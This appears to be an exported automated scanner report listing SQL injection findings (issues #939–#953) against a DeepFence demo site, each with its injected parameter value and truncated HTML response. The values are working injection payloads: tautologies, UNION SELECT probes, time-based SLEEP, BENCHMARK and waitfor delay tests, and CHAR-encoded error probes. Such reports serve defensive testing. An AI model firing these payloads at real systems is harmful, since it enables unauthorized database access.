__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #939
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or "1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #940
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #941
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io -1' UNION SELECT 1,2,3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #942
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #943Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io or benchmark(50000000,MD5(1))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #944
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #945
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #946
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io/*!10000 1/0 */
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #947
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1-false
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #948
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #949
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #950
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #951
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ';waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #952
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #953
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
